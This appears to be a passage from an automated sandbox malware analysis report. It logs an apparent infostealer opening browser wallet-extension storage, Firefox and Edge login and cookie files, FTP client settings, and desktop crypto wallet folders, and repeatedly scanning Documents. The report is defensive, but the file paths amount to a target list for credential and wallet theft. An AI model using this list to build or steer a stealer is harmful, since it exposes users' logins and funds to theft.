Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX

Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe

